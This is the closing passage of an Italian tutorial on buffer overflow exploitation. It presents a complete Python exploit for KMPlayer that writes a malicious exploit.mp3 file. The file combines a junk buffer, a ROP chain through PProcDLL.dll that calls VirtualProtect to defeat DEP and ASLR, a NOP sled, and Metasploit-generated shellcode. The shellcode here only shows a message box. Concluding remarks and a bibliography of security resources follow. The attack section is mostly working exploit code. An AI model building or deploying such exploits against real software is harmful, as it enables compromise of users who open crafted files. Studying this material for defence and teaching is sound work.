Cambiamo alcuni parametri: msf payload(messagebox) > set TEXT "Hello Matteo :)" TEXT => Hello Matteo :) msf payload(messagebox) > set TITLE "The exploit works!" TITLE => The exploit works! msf payload(messagebox) > generate # windows/messagebox - 275 bytes # http://www.metasploit.com # EXITFUNC=process, TITLE=The exploit works!, TEXT=Hello # Matteo :), ICON=NO buf = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" "\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" "\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" "\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" "\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" "\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" "\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" "\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" "\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" "\x61\xff\xff\xff\x68\x73\x21\x58\x20\x68\x77\x6f\x72\x6b" "\x68\x6f\x69\x74\x20\x68\x65\x78\x70\x6c\x68\x54\x68\x65" "\x20\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x20\x3a\x29\x58" "\x68\x74\x74\x65\x6f\x68\x6f\x20\x4d\x61\x68\x48\x65\x6c" "\x6c\x31\xc9\x88\x4c\x24\x0f\x89\xe1\x31\xd2\x52\x53\x51" "\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
+ + + + + + + + + + + + + + + + + + +
Inseriamo ROP, shellcode e byte junk, in uno script python, perl o ruby. Io ho utilizzato python. E’ bene anche piazzare una serie di byte NOP tra la rop chain e il payload per evitare di ritornare su locazioni non valide, --------- TheKMPlayerExploit.py -------------------#!/usr/bin/python # File name evilfile = "exploit.mp3" # Align byte rop_align = "\x41" # Offset from head of buffer to saved EIP junk = "A"*4112 # NOP sled (inc EDI) nop = "\x47"*100 # ROP chain [from non-ASLR module "PProcDLL.dll"] ropchain = "\x94\xa5\x04\x10" # 0x1004a594, # POP EAX # RETN ropchain += rop_align * 4 # junk Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 189 di 193
System exploitation using buffer overflow
ropchain += "\x64\xf2\x14\x10" ropchain += "\xf6\xbc\x11\x10" ropchain += rop_align * 4 ropchain += "\xc3\xb0\x13\x10" ropchain += "\x03\x18\x13\x10" ropchain += "\xb8\x1b\x10\x10" ropchain += "\x94\xa5\x04\x10" ropchain += "\xff\xff\xff\xff" target reg : ebx ropchain += "\x6b\x2b\x0d\x10" ropchain += "\x19\xd3\x02\x10" ropchain += "\xab\xd9\x12\x10" ropchain += rop_align * 14 ropchain += "\x01\xe0\x18\x10" ropchain += "\x84\xa3\x01\x10" ropchain += "\x85\xa3\x01\x10" ropchain += "\x94\xa5\x04\x10" ropchain += "\xc0\xff\xff\xff" target reg : edx ropchain += "\x6b\x2b\x0d\x10" ropchain += "\x5a\xba\x0e\x10" ropchain += "\x94\xa5\x04\x10" ropchain += "\x90\x90\x90\x90" ropchain += "\x43\x44\x01\x10"
# # # # # # # #
0x1014f264, # <-ptr to ptr to VirtualProtect() 0x1011bcf6, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN -------------------------------------------------^^^ 0x1013b0c3, # XCHG EAX,ESI # RETN 0x10131803, # POP EBP # RETN 0x10101bb8, # ptr to 'push esp # ret ' 0x1004a594, # POP EAX # RETN 0xfffffdff, # value to negate, target value : 0x00000201,
# # # # # # # # #
0x100d2b6b, 0x1002d319, 0x1012d9ab, ---------0x1018e001, 0x1001a384, 0x1001a385, 0x1004a594, 0xffffffc0,
# # # # # # # # #
NEG EAX # RETN XCHG EAX,EBX # RETN 0E POP ECX # RETN (for RETN 0E) W pointer (lpOldProtect) (-> ecx) POP EDI # RETN ROP NOP (-> edi) POP EAX # RETN value to negate, target value : 0x00000040,
# # # # #
0x100d2b6b, 0x100eba5a, 0x1004a594, 0x90909090, 0x10014443,
# # # # #
NEG EAX # RETN XCHG EAX,EDX # RETN POP EAX # RETN NOPS (-> eax) PUSHAD # RETN
payload = ( "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" "\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" "\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" "\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" "\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" "\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" "\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" "\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" "\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" "\x61\xff\xff\xff\x68\x73\x21\x58\x20\x68\x77\x6f\x72\x6b" "\x68\x6f\x69\x74\x20\x68\x65\x78\x70\x6c\x68\x54\x68\x65" "\x20\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x20\x3a\x29\x58" "\x68\x74\x74\x65\x6f\x68\x6f\x20\x4d\x61\x68\x48\x65\x6c" "\x6c\x31\xc9\x88\x4c\x24\x0f\x89\xe1\x31\xd2\x52\x53\x51" "\x52\xff\xd0\x31\xc0\x50\xff\x55\x08" ) # Assemble buffer = junk + ropchain + nop + payload # Print to file myfile = open(evilfile,"w") myfile.write(buffer) myfile.close() --------- TheKMPlayerExploit.py END ---------------Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 190 di 193
System exploitation using buffer overflow
Aprendo il file exploit.mp3 dopo aver ascoltato una canzone di vostro gradimento si ottiene:
Questo tipo di tecnica permette di bypassare allo stesso tempo sia l’ASLR che DEP. Più tempo passa più le protezioni diventano efficaci e gli exploit complessi.
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 191 di 193
System exploitation using buffer overflow
0x1a] Conclusioni ? Up Non esistono conclusioni di lavori di questo tipo. La sicurezza informatica è diventato un settore molto importante, costantemente in evoluzione. L’hacking si stà spostando da cose di questo tipo, sempre più difficili da realizzare, all’ingegneria sociale. Per quanto mi riguarda, non mi interessa particolarmente questo settore. Non richiede abilità particolari ma solo costanza e qualche dote di organizzazione mentale, tipica dei programmatori, nulla di più. Ricordiamoci che saper costruire ed utilizzare exploit non è difficile, è solo complesso. In futuro prevedo che gli attacchi tramite exploit verranno sempre più effettuati verso le applicazioni WEB, tramite magari plugin o altri componenti agguintivi. Un fatto importante è la diffusione dei dispositivi mobile. Questi sono per la maggior parte basati su architettura ARM. Tramite l’assembly per ARM è possibile scrivere shellcode dedicate a questi sistemi e fare operazioni simili a quelle che abbiamo visto. Questi saranno sicuramente alcuni dei prossimi obiettivi più bersagliati. 0x1b] Riferimenti bibliografici Up Risorse per le basi: - Architettura OS (MINX3) [http://www.minix3.org] - Linguaggio assembly [http://www.giobe2000.it] - The C Library Reference Guide [http://www.acm.uiuc.edu/webmonkeys/book/c_guide/] - Assembly on Linux [http://www.linuxdidattica.org/docs/altre_scuole/planck/assembly-linux/assembly-linux.html] - Linux kernel sources reference [http://lxr.oss.org.cn/] - Windows API reference [http://msdn.microsoft.com/it-it/default.aspx] Risorse web: -
The MAGAZINE Corelan Team Exploit database Shell-Storm database National vulnerability database Nmap (security community) Packet Storm Security focus Undocumented API Security tube Skyper web site mona.py project
[http://www.phrack.org/] [http://www.corelan.be] [http://www.exploit-db.com/] [http://www.shell-storm.org] [http://nvd.nist.gov/] [http://nmap.org/] [http://packetstormsecurity.org/] [http://www.securityfocus.com/] [http://undocumented.ntinternals.net/] [http://www.securitytube.net/] [http://skypher.com] [http://redmine.corelan.be/projects/mona]
Libri: - Hacker’s programming book - The shellcoder’s handbook Richarte, 2007 – 745 p.] Copyright © Matteo Tosato 2010-2011
[Flavio Bernardotti, 2002 - 1607 p.] [Chris Anley, John Heasman, Felix “FX” Linder, Gerardo tosatz@tiscali.it rev.2.2
Pag. 192 di 193
System exploitation using buffer overflow
- L’arte dell’hacking - Cracking e hacking - Introduzione agli IDS
[Jon Erickson, 2008 – 438 p.] [Flavio Bernardotti, 1999 – 991 p.] [Simone Piccardi, 2005 – 77 p.]
White papers: -
The Exutable and Linkable Format [Matteo Tosato] Smashing The Stack For Fun And Profit [Aleph One] Understanding Windows Shellcode [Skape] StackGuard: simple stack smash protection for GCC [Perry Wagle, Crispin Cowan] Writing small shellcode [Next Generation Security Software Ltd.]
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 193 di 193